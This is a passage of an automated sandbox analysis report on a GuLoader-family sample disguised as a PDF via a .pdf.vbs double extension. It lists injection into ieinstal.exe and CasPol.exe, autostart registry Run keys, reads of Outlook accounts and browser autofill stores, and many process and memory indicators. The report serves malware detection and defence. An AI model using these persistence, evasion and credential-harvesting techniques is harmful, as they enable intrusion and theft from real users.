          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP"
          Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSystem information queried: HandleInformationJump to behavior
          Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\rettetast.datJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,??3@YAXPAX@Z,28_2_00418758
          Source: ieinstal.exe, ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
          Source: ieinstal.exe, ieinstal.exe, 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000022.00000002.2637134924.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
          Source: ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
          Source: ieinstal.exe, ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
          Source: ieinstal.exe, ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
          Source: ieinstal.exe, ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
          Source: ieinstal.exe, ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
          Source: ieinstal.exe, 0000001C.00000003.2486405416.000000000507C000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2486185556.0000000005075000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2486011987.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2653929561.0000000004820000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2654122726.0000000004825000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2654365502.000000000482C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dllJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00413D4C CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,memset,GetModuleHandleW,GetProcAddress,CloseHandle,??3@YAXPAX@Z,Process32NextW,CloseHandle,28_2_00413D4C
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutant created: \Sessions\1\BaseNamedObjects\jin-kpo-mjs-S79OYG
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:392:304:WilStaging_02
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:392:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:304:WilStaging_02
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1632:120:WilError_03
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
          Source: Binary string: l8C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.pdb source: powershell.exe, 00000023.00000002.3302857163.0000000004C6C000.00000004.00000800.00020000.00000000.sdmp
          Source: Binary string: $ l8C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.pdb source: powershell.exe, 00000015.00000002.2360725294.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp

          Data Obfuscation

          barindex
          Yara detected GuLoader
          Source: Yara matchFile source: 00000023.00000002.3337167137.0000000009500000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000001A.00000000.2174144664.0000000003210000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000027.00000000.3144110838.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000015.00000002.2389392549.0000000008750000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 26_2_0321E00A push cs; iretd 26_2_0321E026
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 26_2_0321DFF7 push cs; iretd 26_2_0321E008
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 26_2_0321E11F push 3966406Ah; ret 26_2_0321E125
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044693D push ecx; ret 28_2_0044694D
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044DB70 push eax; ret 28_2_0044DB84
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044DB70 push eax; ret 28_2_0044DBAC
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00451D54 push eax; ret 28_2_00451D61
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00444355 push ecx; ret 30_2_00444365
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004446D0 push eax; ret 30_2_004446E4
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004446D0 push eax; ret 30_2_0044470C
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0044AC84 push eax; ret 30_2_0044AC91
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0481DCB3 push es; ret 35_2_0481DCC0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0772A54E push es; ret 35_2_0772A550
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_077265C8 push edx; retn 0006h35_2_077265D2
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0772BF00 push eax; retf 35_2_0772BF0D
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0772FFCF push es; ret 35_2_0772FFD0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0772FF8F push es; ret 35_2_0772FF90
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1F70 push ebp; retf 0007h35_2_07CF1F72
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1E90 push ebp; retf 0007h35_2_07CF1E92
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1D44 push esp; retf 0007h35_2_07CF1D52
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1578 push ecx; retf 0007h35_2_07CF19C2
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1D31 push esp; retf 0007h35_2_07CF1D32
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1C69 push esp; retf 0007h35_2_07CF1C6A
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1C27 push ebx; retf 0007h35_2_07CF1C2A
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1BE1 push ebx; retf 0007h35_2_07CF1BE2
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF1BF9 push ebx; retf 0007h35_2_07CF1BFA
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF6B00 push eax; iretd 35_2_07CF6B01
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF2231 push edi; retf 0007h35_2_07CF2232
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF19E1 push edx; retf 0007h35_2_07CF19E2
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF19F0 push edx; retf 0007h35_2_07CF1AEA
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF2190 push edi; retf 0007h35_2_07CF2192
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW,28_2_004044A4
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdlineJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.dllJump to dropped file
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.dllJump to dropped file

          Boot Survival

          barindex
          Creates multiple autostart registry keys
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Mongrelis
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OratorietoJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OratorietoJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OratorietoJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Mongrelis
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Mongrelis

          Hooking and other Techniques for Hiding and Protection

          barindex
          Uses an obfuscated file name to hide its real file extension (double extension)
          Source: Possible double extension: pdf.vbsStatic PE information: doc_65398086_4190362045539.pdf.vbs
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004047C6 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,30_2_004047C6
          Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
